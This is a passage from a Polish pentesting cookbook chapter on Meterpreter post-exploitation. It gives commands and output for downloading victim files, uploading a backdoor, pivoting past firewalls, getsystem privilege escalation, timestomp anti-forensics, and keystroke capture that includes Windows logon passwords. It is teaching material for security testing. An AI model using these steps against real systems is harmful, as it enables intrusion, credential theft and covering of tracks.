Powyższy schemat ilustruje w skrócie sposób funkcjonowania Meterpretera. Po ustanowieniu kanału komunikacji możemy wysyłać do serwera Meterpretera wywołania poleceń i czekać na przesłanie odpowiedzi do naszej maszyny. Komunikacja pomiędzy maszyną pentestera a przejętą maszyną docelową zostanie opisana szczegółowo w dalszej części rozdziału.
Polecenia systemu plików Meterpretera W tej recepturze zajmiemy się poleceniami systemu plików. Mogą one być pomocne w eksploracji systemu docelowego i wykonaniu różnych zadań, takich jak wyszukiwanie i pobieranie plików
227
Metasploit. Receptury pentestera
oraz zmiana katalogu. Zobaczysz, jak łatwo jest kontrolować maszynę docelową za pomocą Meterpretera. Wypróbujmy kilka użytecznych poleceń systemu plików.
Jak to wykonać Zacznijmy od prostego polecenia pwd, które wyświetla nazwę bieżącego katalogu roboczego na maszynie docelowej. W podobny sposób możemy użyć polecenia cd, aby zmienić nasz katalog roboczy na inną wybraną lokalizację: meterpreter > pwd C:\Users\DARKLORD\Desktop meterpreter > cd C:\ meterpreter > pwd C:\
Jak widać, najpierw wyświetliliśmy nasz katalog roboczy za pomocą polecenia pwd, a następnie, korzystając z polecenia cd, zmieniliśmy lokalizację na C:. Można również użyć polecenia ls, aby wyświetlić listę plików dostępnych w bieżącym katalogu. Skoro przeszliśmy już do pracy z katalogami, naszym kolejnym zadaniem będzie wyszukiwanie plików na dysku. Nużące byłoby przeszukiwanie wszystkich katalogów i podkatalogów w celu odnalezienia określonych plików. Aby szybko wyszukać pliki określonego typu, możemy zastosować polecenie search, tak jak w poniższym przykładzie: meterpreter > search -f *.doc -d C:\
To polecenie spowoduje wyszukanie na dysku C wszystkich plików z rozszerzeniem .doc. Parametr -f jest używany do określenia wzorca pliku do wyszukiwania, a parametr -d wskazuje katalog, w którym ma zostać przeprowadzone wyszukiwanie. Kiedy znajdziemy już plik, o który nam chodzi, możemy pobrać go z maszyny docelowej. Spróbujmy najpierw pobrać ten plik i zapisać go w systemie maszyny atakującej: meterpreter > download d:\secret.doc /root [*] downloading: d:secret.doc -> /root/d:secret.doc [*] downloaded : d:secret.doc -> /root/d:secret.doc
Za pomocą polecenia download możemy pobrać dowolny plik z maszyny docelowej na naszą maszynę. W powyższym przykładzie pobraliśmy plik d:\secret.doc i zapisaliśmy go w folderze root na maszynie atakującej. W podobny sposób możemy użyć polecenia upload, aby wysłać dowolny plik na maszynę docelową: meterpreter > upload /root/backdoor.exe d:\ [*] uploading : /root/backdoor.exe -> d:\ [*] uploaded : /root/backdoor.exe -> d:\\backdoor.exe
Na koniec możemy użyć polecenia del, aby usunąć plik lub katalog z maszyny docelowej: meterpreter > del d:\backdoor.exe
228
Rozdział 10. • Korzystanie z Meterpretera
Jak to działa Meterpreter daje nam całkowity dostęp do maszyny docelowej przez uruchomienie interaktywnego wiersza poleceń. Możemy również przeskoczyć do sesji powłoki, aby działać w domyślnym trybie DOS systemu Windows, ale nie ma on tylu funkcji. Omówiliśmy pokrótce kilka istotnych poleceń systemu plików dostępnych w Meterpreterze. Mogą one pomóc w eksploracji plików znajdujących się na maszynie docelowej. Oczywiście, dostępne są jeszcze inne polecenia. Wypróbuj je sam i zbadaj różne dostępne możliwości. W jednej z kolejnych receptur przyjrzymy się bardzo interesującemu poleceniu Meterpretera, które nosi nazwę timestomp. Można je wykorzystać do modyfikacji atrybutów plików znajdujących się na maszynie docelowej.
Polecenia sieciowe Meterpretera Meterpreter oferuje również kilka użytecznych poleceń sieciowych. Można je wykorzystać do poznania struktury sieci, w której znajduje się użytkownik docelowy. Możemy sprawdzić, czy dany system należy do jakiejś sieci lokalnej (LAN), czy też jest systemem samodzielnym. Możemy również znaleźć zakres adresów IP sieci, adresy serwerów DNS oraz inne informacje. Tego typu informacje o sieci mogą być użyteczne, kiedy musimy przeprowadzić pivoting. Pivoting jest metodą umożliwiającą przejmowanie innych maszyn znajdujących się w tej samej sieci co maszyna docelowa. Omówimy tę metodę szerzej, kiedy zajmiemy się zaawansowanym wykorzystaniem Meterpretera.
Przygotuj się Zanim przejdziemy do głównej części receptury, należy przypomnieć trzy pojęcia sieciowe, którymi będziemy się posługiwać. Poszperajmy nieco w pamięci i przypomnijmy sobie następujące terminy: Podsieć (ang. subnet) jest koncepcją polegającą na podzieleniu dużej sieci na
mniejsze identyfikowalne części. Dzielenie sieci ma na celu lepsze wykorzystanie dostępnych adresów IP oraz zwiększenie bezpieczeństwa. Maska sieci (ang. netmask) jest 32-bitową maską, która jest stosowana do
podzielenia adresu IP na podsieci i określenia dostępnych hostów sieci. Brama sieciowa (ang. gateway) określa przekierowania lub adres IP następnego
przeskoku, przez które można uzyskać dostęp do grupy adresów zdefiniowanych przez docelowy adres sieciowy oraz maskę podsieci. Wykorzystamy te pojęcia podczas omawiania polecenia route.
229
Metasploit. Receptury pentestera
Jak to wykonać W Meterpreterze można korzystać z trzech poleceń sieciowych: ipconfig1, route oraz portfwd. Omówmy pokrótce każde z nich: 1. Polecenie ipconfig jest stosowane do wyświetlenia konfiguracji wszystkich interfejsów sieciowych TCP/IP maszyny docelowej. Otrzymujemy informacje takie jak adres IP celu, adres sprzętowy MAC oraz maska sieci: meterpreter > ipconfig Reliance Hardware MAC: 00:00:00:00:00:00 IP Address : 115.242.228.85 Netmask : 255.255.255.255 Software Loopback Interface 1 Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0
Jak widać w powyższym listingu, wyświetlone zostały różne aktywne konfiguracje interfejsów TCP/IP. 2. Kolejnym poleceniem sieciowym jest route. Jest ono podobne do polecenia route systemu MS DOS i stosuje się je do wyświetlania oraz modyfikacji lokalnej tabeli routingu IP na maszynie docelowej. Po wykonaniu polecenia route powinna zostać wyświetlona bieżąca tabela routingu: meterpreter > route Network routes ============== Subnet -----0.0.0.0 115.242.228.85 127.0.0.0 127.0.0.1 127.255.255.255 192.168.56.0 192.168.56.1 192.168.56.255 224.0.0.0 224.0.0.0 224.0.0.0 255.255.255.255 255.255.255.255 255.255.255.255 1
Netmask ------0.0.0.0 255.255.255.255 255.0.0.0 255.255.255.255 255.255.255.255 255.255.255.0 255.255.255.255 255.255.255.255 240.0.0.0 240.0.0.0 240.0.0.0 255.255.255.255 255.255.255.255 255.255.255.255
Gateway ------115.242.228.85 115.242.228.85 127.0.0.1 127.0.0.1 127.0.0.1 192.168.56.1 192.168.56.1 192.168.56.1 127.0.0.1 192.168.56.1 115.242.228.85 127.0.0.1 192.168.56.1 115.242.228.85
Dostępne jest również polecenie ifconfig, które ma tę samą funkcję — przyp. tłum.
230
Rozdział 10. • Korzystanie z Meterpretera
Wpiszmy teraz polecenie route –h, aby zobaczyć, w jaki sposób można zmodyfikować tę tabelę: meterpreter > route –h Usage: route [-h] command [args] Supported commands: add [subnet] [netmask] [gateway] delete [subnet] [netmask] [gateway]
Jak widać w listingu polecenia ipconfig, maszyna docelowa do połączenia z internetem wykorzystuje adres IP 115.242.228.85. Możemy więc dodać trasę przekazującą połączenie przez adres 115.242.228.85, który będzie pełnił rolę bramy. Ominiemy w ten sposób firewalla na maszynie docelowej: meterpreter > route add 192.168.56.2 255.255.255.255 192.168.56.1 Creating route 192.168.56.2/255.255.255.255 -> 192.168.56.1
W podobny sposób możemy użyć polecenia delete, aby usunąć trasę z tabeli. 3. Przejdźmy do ostatniego polecenia sieciowego, czyli portfwd. Jest ono wykorzystywane do przekierowywania przychodzących połączeń TCP i (lub) UDP do zdalnych hostów. Omówmy przekierowania portów na następującym przykładzie: Załóżmy, że mamy następujące hosty: A, B (pośrodku) oraz C. Host A ma łączyć się z hostem C w celu wykonania dowolnego zadania. Jeśli z jakiegoś powodu nie będzie to możliwe, host B może bezpośrednio połączyć się z hostem C. Jeśli wykorzystujemy pośrodku host B do uzyskania strumienia połączenia z A i przekazania go do C podczas obsługi połączenia, mówimy, że host B przekierowuje porty. W rzeczywistej sieci wygląda to następująco. Host B posiada uruchomione oprogramowanie, które na jednym z jego portów (np. na porcie 20) otwiera nasłuchiwacz TCP. Na hoście C również włączony jest nasłuchiwacz, który jest wykorzystywany do połączenia się z hostem B, kiedy dostarczane są pakiety z portu 20. Jeśli więc host A wysyła jakikolwiek pakiet na port 20 hosta B, pakiet ten zostanie automatycznie przekierowany do hosta C. Dlatego host B przekierowuje porty dla swoich pakietów do hosta C.
Jak to działa Aby uruchomić przekierowanie portów ze zdalnym hostem, musimy najpierw dodać regułę przekierowania. Można to zrobić za pomocą poniższego polecenia: Meterpreter> portfwd -a -L 127.0.0.1 -l 444 -h 69.54.34.38 -p 3389
Zwróć uwagę na różne parametry tego polecenia. Za pomocą parametru –a możemy dodać nową regułę przekierowania portów. Parametr -L definiuje adres IP, z którym ma zostać powiązane
231
Metasploit. Receptury pentestera
gniazdo przekierowania. Ponieważ wpisujemy te parametry z hosta A i dalej chcemy pracować na tym samym hoście, ustawiamy ten adres IP na 127.0.0.1. Parametr -l to numer portu, który zostanie otwarty na hoście A i będzie
akceptował połączenia przychodzące. Parametr -h definiuje adres IP hosta C lub innego hosta w sieci wewnętrznej. Parametr -p to numer portu, z którym chcesz łączyć się na hoście C.
Jest to prosty przykład wykorzystania przekierowania portów. Ta technika jest aktywnie stosowana do omijania firewalli i systemów detekcji włamań.
Poszerzanie uprawnień i migracja procesu W tej recepturze skoncentrujemy się na dwóch bardzo użytecznych poleceniach Meterpretera. Pierwsze z nich jest wykorzystywane do podnoszenia poziomu uprawnień użytkownika na maszynie docelowej. Możemy włamać się do systemu na konto użytkownika, który nie posiada wystarczających uprawnień do wykonywania zadań systemowych. Możemy jednak poszerzyć jego uprawnienia do poziomu administratora, aby przeprowadzać nasze działania bez zakłóceń. Drugie ze wspomnianych poleceń jest używane do wykonywania migracji z jednego procesu do drugiego, bez zapisywania żadnych danych na dysku.
Jak to wykonać Aby poszerzyć uprawnienia użytkownika, możemy w Meterpreterze wykorzystać polecenie getsystem. Automatycznie rozpoczyna ono wyszukiwanie różnych możliwych technik, za pomocą których można podnieść uprawnienia użytkownika na wyższy poziom. Przeanalizujmy techniki wykorzystywane przez polecenie getsystem: meterpreter > getsystem –h Usage: getsystem [options] Attempt to elevate your privilege to that of local system. OPTIONS: -t
232
technique to use. (Default to '0'). : All techniques available : Service - Named Pipe Impersonation (In Memory/Admin) : Service - Named Pipe Impersonation (Dropper/Admin) : Service - Token Duplication (In Memory/Admin) : Exploit - KiTrap0D (In Memory/User)
Rozdział 10. • Korzystanie z Meterpretera
Jak to działa Dostępne są trzy różne techniki, za pomocą których polecenie getsystem próbuje poszerzyć uprawnienia w systemie docelowym. Domyślna opcja 0 wykorzystuje wszystkie wyświetlone techniki, aż do momentu przeprowadzenia udanej próby. Przyjrzyjmy się bliżej tym technikom. Mechanizm nazwanego potoku (ang. named pipe) umożliwia komunikację między procesami, aby aplikacje mogły działać lokalnie i zdalnie. Aplikacja tworząca potok jest nazywana serwerem potoku, a aplikacja łącząca się z danym potokiem jest klientem potoku. Personifikacja (ang. impersonation) jest zdolnością wątku do bycia wykonywanym w kontekście zabezpieczeń innym niż kontekst procesu, który jest właścicielem danego wątku. Personifikacja umożliwia wątkowi serwera wykonywanie działań w imieniu klienta, ale w granicach kontekstu zabezpieczeń klienta. Problem pojawia się, kiedy klient ma większe uprawnienia niż serwer. W takim przypadku dochodzi do ataku poszerzania uprawnień, który zwany jest personifikacją nazwanego potoku (ang. named pipe impersonation). Artykuł omawiający szczegółowo atak personifikacji nazwanego potoku można znaleźć na stronie http://hackingalert.blogspot.com/2011/12/namedpipe-impersonation-attacks.html.
Każdy użytkownik systemu operacyjnego posiada token z unikatowym identyfikatorem. Ten identyfikator jest wykorzystywany do sprawdzania poziomów uprawnień różnych użytkowników. Duplikacja tokenu odbywa się w wyniku skopiowania przez użytkownika o niższych uprawnieniach identyfikatora tokenu użytkownika o wyższych uprawnieniach. Użytkownik o niższych uprawnieniach może wtedy zachowywać się jak użytkownik o wyższych uprawnieniach i posiada wszystkie jego prawa dostępu. Exploit KiTrapOD ujrzał światło dzienne na początku roku 2010 i mógł być stosowany prawie do każdego systemu operacyjnego, jaki Microsoft opublikował do tego czasu. Jeśli na 32-bitowej platformie x86 włączony jest dostęp do aplikacji 16-bitowych, określone wywołania BIOS-u nie są odpowiednio weryfikowane. Umożliwia to użytkownikowi lokalnemu uzyskanie odpowiednich uprawnień poprzez spreparowanie obszaru danych VDM_TIB w strukturze TEB (ang. Thread Environment Block), aby wywołać niewłaściwą obsługę wyjątków, wykorzystując procedurę obsługi pułapek #GP (nt!KiTrap0D), znaną również jako luka w zabezpieczeniach procedury obsługi wyjątków jądra systemu Windows (ang. Windows Kernel Exception Handler Vulnerability). Poznaliśmy już różne techniki zwiększania uprawnień wykorzystywane przez polecenie getsystem, możemy więc przejść do wykonania tego polecenia na maszynie docelowej i sprawdzenia rezultatów. Najpierw sprawdzamy identyfikator bieżącego użytkownika, stosując polecenie getuid, a następnie za pomocą polecenia getsystem próbujemy poszerzyć nasze uprawnienia: meterpreter > getuid Server username: DARKLORD-PC\DARKLORD
233
Metasploit. Receptury pentestera
meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Jak widać w listingu, na początku posiadaliśmy mniejsze uprawnienia, które zwiększyliśmy do poziomu użytkownika systemowego, korzystając z polecenia getsystem. Kolejnym ważnym poleceniem Meterpretera, którym się zajmiemy, jest migrate. To polecenie jest stosowane do przeprowadzania migracji z jednego kontekstu procesu do drugiego. Może ono być pomocne w sytuacjach, kiedy bieżący proces, do którego się włamaliśmy, może ulec awarii. Jeśli np. korzystamy z exploita przeglądarki, aby dokonać penetracji systemu, po przeprowadzeniu eksploatacji przeglądarka może się zawiesić i użytkownik może ją zamknąć. Migracja do stabilnego procesu systemowego może pomóc w płynnym wykonaniu testu penetracyjnego. Wykorzystując identyfikator procesu, możemy migrować do dowolnego aktywnego procesu. Listę identyfikatorów wszystkich aktywnych procesów wyświetlisz za pomocą polecenia ps. Jeśli np. identyfikator procesu explorer.exe to 2084, możemy przeprowadzić migrację do tego procesu, wpisując poniższe polecenie: meterpreter > migrate 2084 [*] Migrating to 2084... [*] Migration completed successfully.
Te dwa polecenia Meterpretera są bardzo poręczne i często wykorzystywane podczas testów penetracyjnych. Ich prostota i wysoka wydajność czyni je optymalnymi w użyciu. W kolejnej recepturze zajmiemy się kanałami komunikacyjnymi i zobaczymy, w jaki sposób skutecznie wykorzystywać je do komunikacji z celem.
Konfiguracja wielu kanałów komunikacji z celem W tej recepturze zobaczymy, w jaki sposób można skonfigurować wiele kanałów komunikacji z maszyną docelową. Jak wspomniano na początku rozdziału, komunikacja między klientem a serwerem jest w Meterpreterze kodowana i do transferu danych wykorzystuje elementy TLV (ang. Type-Length-Value). Główną zaletą stosowania elementów TLV jest to, że umożliwiają one oznaczanie danych określonymi numerami kanałów, dzięki czemu różne programy działające na maszynie ofiary mogą komunikować się z Meterpreterem na maszynie atakującej. Przeanalizujmy sposób konfiguracji za pomocą Meterpretera wielu kanałów komunikacji z maszyną docelową.
234
Rozdział 10. • Korzystanie z Meterpretera
Przygotuj się Meterpreter oferuje polecenie execute, które może być zastosowane do uruchomienia wielu kanałów komunikacji. Najpierw wpiszmy polecenie execute –h, aby wyświetlić dostępne opcje: meterpreter > execute –h Usage: execute -f file [options] Executes a command on the remote machine. OPTIONS: -H -a
Create the process hidden from view. The arguments to pass to the command. Channelized I/O (required for interaction). The 'dummy' executable to launch when using -m. The executable command to run. Help menu. Interact with the process after creating it. Execute process on the meterpreters current desktop Execute from memory. Execute process in a given session as the session user Execute process with currently impersonated thread token
Jak widać w powyższym listingu, polecenie execute posiada różne dostępne opcje. Użyjmy kilku z tych parametrów do konfiguracji kanałów.
Jak to wykonać Aby rozpocząć tworzenie kanałów, użyjemy z poleceniem execute operatora -f: meterpreter > execute -f notepad.exe –c Process 5708 created. Channel 1 created.
Zwróć uwagę na zastosowanie różnych parametrów. Parametr –f jest wykorzystywany do wskazania wykonywalnej komendy, a operator –c służy do konfiguracji we/wy kanałów. Możemy teraz ponownie uruchomić polecenie execute, aby uruchomić kolejny kanał bez zamykania bieżącego: meterpreter > execute -f cmd.exe –c Process 4472 created. Channel 2 created. meterpreter > execute -f calc.exe –c Process 6000 created. Channel 3 created.
235
Metasploit. Receptury pentestera
Mamy teraz trzy różne kanały działające jednocześnie na maszynie ofiary. Aby wyświetlić listę dostępnych kanałów, możemy zastosować polecenie channel –l. Jeśli chcemy wysłać jakieś dane lub napisać coś, wykorzystując dany kanał, możemy skorzystać z polecenia write z podaniem identyfikatora kanału. Spróbujmy napisać wiadomość w jednym z naszych aktywnych kanałów: meterpreter > write 5 Enter data followed by a '.' on an empty line: Metasploit!! . [*] Wrote 13 bytes to channel 5.
Po wpisaniu polecenia write wraz z identyfikatorem kanału zostaliśmy poproszeni o wprowadzenie danych i zakończenie kropką. Udało nam się napisać w danym kanale słowo Metasploit!!. Aby odczytać dane z dowolnego kanału, możemy użyć polecenia read z numerem kanału. Ponadto, jeśli chcemy przejść do interakcji z danym kanałem, możemy zastosować polecenie interact wraz z numerem kanału: meterpreter > interact 2 Interacting with channel 2... Microsoft Windows [Version 6.1.7264] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\DARKLORD\Desktop>
Jak widać w powyższym listingu, nasz kanał channel 2 jest kanałem wiersza poleceń, więc po zastosowaniu polecenia interact zostaliśmy bezpośrednio przerzuceni do trybu wiersza poleceń, z poziomu którego możemy wykonywać polecenia systemowe. Korzystając z polecenia interact, możemy łatwo przełączać się pomiędzy kanałami. Aby zamknąć wybrany kanał, używamy polecenia close wraz z numerem kanału. Ta receptura pokazuje szerokie możliwości korzystania z wielu kanałów. Pokazuje również, jak łatwo jest zarządzać kanałami równolegle i przełączać się pomiędzy nimi. Korzystanie z kanałów jest istotne, kiedy na maszynie docelowej uruchamiamy wiele różnych usług. W jednej z kolejnych receptur skoncentrujemy się na wykorzystaniu Meterpretera do eksploracji systemu plików na maszynie docelowej.
Jak to działa Metasploit oznacza każdą wiadomość osobnym identyfikatorem kanału, co pomaga w identyfikacji kontekstu kanału, w którym wykonane powinno być konkretne polecenie. Jak już wspomniano, proces komunikacji w Meterpreterze wykorzystuje elementy TLV, które oferują elastyczność oznaczania różnych wiadomości określonym identyfikatorem kanału i zapewniają obsługę komunikacji wielokanałowej.
236
Rozdział 10. • Korzystanie z Meterpretera
Zacieranie śladów za pomocą polecenia timestomp W jednej z receptur omawiamy niektóre istotne i użyteczne polecenia Meterpretera służące do obsługi systemu plików i stosowane do wykonywania różnych zadań na maszynie docelowej. Meterpreter posiada jeszcze inne interesujące polecenie, o nazwie timestomp. Jest ono wykorzystywane do zmian wartości atrybutów MACE (ang. Modified-Accessed-Created-Entry) plików. Wartość atrybutu reprezentuje czas i datę wystąpienia w pliku którejś z aktywności MACE, czyli modyfikacji, użycia, utworzenia pliku oraz modyfikacji wpisu pliku. Za pomocą polecenia timestomp można zmieniać te wartości.
Przygotuj się Zanim przejdziemy do głównej części receptury, być może zadasz pewne kluczowe pytanie: Po co zmieniać wartości MACE? Hakerzy zasadniczo używają techniki zmiany wartości MACE, aby użytkownik maszyny docelowej był przekonany, że dany plik znajduje się w systemie od dawna i nikt go nie ruszał ani nie modyfikował. W przypadku podejrzanej aktywności administratorzy mogą sprawdzać ostatnio modyfikowane pliki, aby zweryfikować, czy któryś był zmieniany lub używany. Dzięki zastosowaniu wspomnianej techniki można sprawić, aby dany plik nie pojawiał się na liście ostatnio używanych lub modyfikowanych elementów. Choć istnieją sposoby na sprawdzenie, czy zmieniane były atrybuty pliku, ta technika wciąż może być pomocna. Wybierzmy plik znajdujący się na maszynie docelowej i zmieńmy jego atrybuty MACE. Poniższy rysunek pokazuje różne wartości MACE pliku przed zastosowaniem polecenia timestomp:
237
Metasploit. Receptury pentestera
Teraz przejdźmy do zmieniania różnych wartości MACE. Wpiszmy najpierw polecenie timestomp –h, aby wyświetlić listę dostępnych opcji. Teraz możemy zastosować operator –v, aby wyświetlić listę wartości atrybutów MACE: meterpreter > timestomp C:\poufne.doc –v Modified : 2014-04-25 18:58:24 +0200 Accessed : 2014-04-25 18:58:24 +0200 Created : 2014-04-25 18:58:06 +0200 Entry Modified: 2014-04-25 19:01:06 +0200
Jak to wykonać Zaczniemy od zmiany daty i czasu utworzenia pliku. Zwróć uwagę na różne parametry przekazane z poleceniem timestomp: meterpreter > timestomp C:\poufne.doc -c "3/13/2013 13:13:13" [*] Setting specific MACE attributes on C:poufne.doc
Jak to działa Operator –c jest stosowany do zmiany daty i czasu utworzenia pliku. Analogicznie możemy użyć operatorów –m oraz –a do zmiany atrybutów ostatnich modyfikacji i użycia pliku: meterpreter [*] Setting meterpreter [*] Setting
> timestomp C:\poufne.doc -m "3/13/2013 13:13:23" specific MACE attributes on C:poufne.doc > timestomp C:\poufne.doc -a "3/13/2013 13:13:33" specific MACE attributes on C:poufne.doc
Kiedy zmienimy już atrybuty, możemy ponownie użyć operatora –v, aby sprawdzić i zweryfikować, czy nasze polecenia zostały wykonane z powodzeniem. Sprawdźmy więc ponownie atrybuty pliku: meterpreter > timestomp C:\poufne.doc –v Modified : 2013-03-13 13:13:13 +0200 Accessed : 2013-03-13 13:13:23 +0200 Created : 2013-03-13 13:13:33 +0200 Entry Modified: 2013-03-13 13:13:13 +0200
Bingo! Udało nam się z powodzeniem zmodyfikować atrybuty MACE danego pliku. Teraz ten plik nie będzie wyświetlany na liście ostatnio modyfikowanych lub używanych plików. Alternatywnie możemy również użyć operatora –z, aby zmienić wszystkie cztery wartości MACE za jednym razem. Nie będziemy musieli dla każdej z nich stosować osobno tego samego polecenia, jednak operator –z przydzieli te same wartości do wszystkich czterech atrybutów MACE, co w rzeczywistości praktycznie nie mogłoby mieć miejsca. Muszą być niewielkie różnice czasu pomiędzy utworzeniem a użyciem pliku. Należy więc unikać stosowania operatora –z.
238
Rozdział 10. • Korzystanie z Meterpretera
Zobacz również Zespół Metasploit w ramach projektu badawczego stworzył grupę narzędzi o nazwie MAFIA (ang. Metasploit Anti-Forensic Investigation Arsenal), do których należą: Timestomp Slacker Transmogrify SAM Juicer
Ponieważ te narzędzia nie były aktualizowane od kilku lat, nie są już kompatybilne z aktualnymi systemami operacyjnymi.
Polecenie getdesktop oraz przechwytywanie uderzeń klawiatury W tej recepturze omówimy polecenia interfejsu użytkownika stdapi przeznaczone do przechwytywania pulpitu i uderzeń klawiatury. Przechwytywanie uderzeń klawiatury zależy od bieżącego aktywnego pulpitu, istotne jest więc, aby zrozumieć, w jaki sposób można przechwytywać różne uderzenia klawiatury, przechodząc pomiędzy procesami uruchomionymi w różnych aktywnych sesjach pulpitu. Przejdźmy teraz do receptury, aby zrozumieć lepiej tę kwestię.
Przygotuj się Polecenie enumdesktops spowoduje wyświetlenie listy wszystkich dostępnych pulpitów oraz stacji okien (ang. window stations): meterpreter > enumdesktops Enumerating all accessible desktops Desktops ======== Session ------0 0 0 0
Station ------WinSta0 WinSta0 WinSta0 SAWinSta
Name ---Default Disconnect Winlogon SADesktop
Jak widać, wszystkie dostępne stacje pulpitu są powiązane z sesją 0. Za chwilę zobaczymy, co właściwie oznacza sesja 0.
239
Metasploit. Receptury pentestera
Polecenie getdesktop zwraca informacje o bieżącym pulpicie, w którym działa nasza sesja Meterpretera: meterpreter > getdesktop Session 0\Service-0x0-3e7$\Default
Możesz porównać wynik polecenia getdesktop z wynikiem polecenia enumdesktops, aby dowiedzieć się więcej na temat bieżącej stacji pulpitu, w której pracujemy. Polecenie setdesktop jest stosowane do zmiany bieżącego pulpitu Meterpretera na inną dostępną stację pulpitu. Do rozpoczęcia procesu przechwytywania uderzeń klawiatury w bieżącej aktywnej stacji pulpitu używa się polecenia keyscan_start. Polecenie keyscan_dump zrzuca przechwycone uderzenia klawiatury aktywnej sesji pulpitu Meterpretera. Zobaczmy, jak działają te polecenia w rzeczywistości i jak możemy przechwytywać uderzenia klawiatury poprzez różne stacje pulpitu.
Jak to wykonać Zanim przejdziemy do dalszej części receptury, przyjrzymy się ważnej koncepcji dotyczącej pulpitu systemu Windows. Pulpit systemu Windows jest podzielony na różne sesje w celu zdefiniowania sposobów interakcji z maszyną Windows. Sesja Session 0 reprezentuje konsolę. Pozostałe sesje (Session 1, Session 2 itd.) reprezentują sesje pulpitu zdalnego. Aby przechwytywać uderzenia klawiatury systemu, do którego się włamaliśmy, musimy pracować w pulpicie Session 0 (rysunek na następnej stronie). Każda sesja pulpitu systemu Windows składa się z różnych stacji. Na rysunku na następnej stronie widać różne stacje powiązane z sesją Session 0. Jedyną aktywną stacją wśród nich jest WinSta0. Oznacza to, że użytkownik może wchodzić w interakcje jedynie ze stacją WinSta0. Wszystkie pozostałe stacje są nieinteraktywne. Stacja WinSta0 składa się z trzech różnych pulpitów: Default, Disconnect oraz Winlogon. Pulpit Default jest powiązany ze wszystkimi aplikacjami i zadaniami, które wykonujemy na naszym pulpicie. Pulpit Disconnect jest związany z pulpitem wygaszacza ekranu. Pulpit Winlogon jest powiązany z ekranem logowania systemu Windows.
240
Rozdział 10. • Korzystanie z Meterpretera
Należy zauważyć, że każdy pulpit ma swój własny bufor klawiatury. Jeśli więc chcesz przechwytywać uderzenia klawiatury z pulpitu Default, musisz się upewnić, że Twoja bieżąca aktywna sesja Meterpretera jest ustawiona na pulpicie Session 0/WinSta0/Default. Jeśli chcesz przechwycić hasło logowania, musisz zmienić aktywny pulpit na Session 0/WinSta0/Winlogon. Sprawdźmy nasz bieżący pulpit za pomocą polecenia getdesktop: meterpreter > getdesktop Session 0\Service-0x0-3e7$\Default
Jak widać, nie jesteśmy w stacji WinSta0, która jest jedyną interaktywną stacją pulpitu. Jeśli więc uruchomimy tutaj przechwytywanie uderzeń klawiatury, nie otrzymamy żadnego wyniku. Zmieńmy nasz pulpit na WinSta0\Default: meterpreter > setdesktop Changed to desktop WinSta0\Default meterpreter > getdesktop Session 0\WinSta0\Default
W powyższym listingu widać, że za pomocą polecenia setdesktop przeszliśmy do interaktywnej stacji pulpitu systemu Windows. Jesteśmy teraz gotowi do uruchomienia sniffera uderzeń klawiatury w celu przechwycenia klawiszy wciskanych przez użytkownika na maszynie docelowej:
241
Metasploit. Receptury pentestera
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... gmail.com
Przyglądając się przechwyconym uderzeniom klawiatury, możemy stwierdzić, że użytkownik docelowy wszedł na stronę gmail.com i wprowadził swoje poświadczenia, aby się zalogować. A co zrobić, jeśli chcesz przechwycić hasło logowania do systemu Windows? Oczywiście, możesz za pomocą polecenia setdesktop przełączyć swój aktywny pulpit na WinSta0\Winlogon, ale omówimy również alternatywne podejście. Możemy wykonać migrację do procesu, który działa podczas logowania do systemu. Wpiszmy polecenie ps, aby sprawdzić uruchomione procesy. Na wyświetlonej liście znajdziemy proces winlogon.exe z określonym identyfikatorem. Przyjmijmy, że identyfikator procesu (ang. process ID — PID) dla winlogon.exe to 1180. Przeprowadźmy migrację do tego procesu i ponownie sprawdźmy nasz aktywny pulpit: meterpreter > migrate 1180 [*] Migrating to 1180... [*] Migration completed successfully. meterpreter > getdesktop Session 0\WinSta0\Winlogon
Jak widać w powyższym listingu, nasz aktywny pulpit zmienił się na WinSta0\Winlogon. Możemy teraz wpisać polecenie keyscan_start, aby rozpocząć przechwytywanie uderzeń klawiatury na ekranie logowania systemu Windows. W podobny sposób możemy powrócić do pulpitu Default, wykonując migrację do dowolnego procesu, który działa na domyślnym pulpicie. Wybierzmy proces explorer.exe z identyfikatorem 884: meterpreter > migrate 884 [*] Migrating to 884... [*] Migration completed successfully. meterpreter > getdesktop Session 0\WinSta0\Default
Należy zwrócić uwagę, że przy przechwytywaniu uderzeń klawiatury występuje konieczność migrowania do różnych procesów oraz zmieniania środowisk pulpitu. Z reguły nie uzyskamy żadnych rezultatów, jeśli bezpośrednio zastosujemy polecenie keyscan, bez sprawdzenia, jaki jest bieżący aktywny pulpit. Jest to spowodowane tym, że proces, który został spenetrowany, może należeć do innej sesji lub stacji. Pamiętaj o tym, korzystając ze sniffera uderzeń klawiatury.
242
Rozdział 10. • Korzystanie z Meterpretera
Zobacz również Kiedy mamy już uruchomioną sesję Meterpretera, możemy skorzystać ze wspaniałej techniki o nazwie ESPIA, która umożliwia wykonywanie zrzutów ekranu. Używa się jej w następujący sposób: meterpreter > use espia Loading extension espia...success. meterpreter > screengrab Screenshot saved to: /root/nYddRUppb.jpeg meterpreter >
Zanim skorzystasz z polecenia espia, musisz przeprowadzić migrację do procesu explorer.exe.
Korzystanie ze skryptu scraper Meterpretera Poznaliśmy jak dotąd kilkanaście poleceń Meterpretera. Teraz zajmiemy się istotnym skryptem Meterpretera, który pomaga przeprowadzić bardziej wnikliwą eksplorację celu. W tym rozdziale skrypty Meterpretera zostały opisane dość szeroko, więc w tej recepturze skoncentrujemy się na wykorzystaniu skryptu. Wydobywanie informacji z maszyny docelowej podczas przeprowadzania testów penetracyjnych może być czasochłonnym zajęciem. Zrobienie lokalnej kopii użytecznych informacji może być bardzo pomocne dla pentestera, ponieważ będzie mógł nadal opracowywać te informacje, nawet kiedy maszyna docelowa zostanie wyłączona. Ułatwia to również dzielenie się informacjami z innymi pentesterami. Tym celom służy skrypt scraper.
Przygotuj się Skrypt scraper może pomóc w znalezieniu wielu informacji na temat przejętego systemu docelowego i umożliwić zapisanie ich lokalnie na maszynie pentestera. Są to takie informacje, jak dane rejestru, skróty haseł oraz informacje o sieci. Aby w Meterpreterze wykonać skrypt języka Ruby, możemy zastosować polecenie run. Wpisanie komendy run scraper –h spowoduje wyświetlenie informacji o sposobie zastosowania skryptu. Przejdźmy dalej i zobaczmy, jak można pobrać i zapisać lokalnie wspomniane informacje, które dostarcza skrypt.
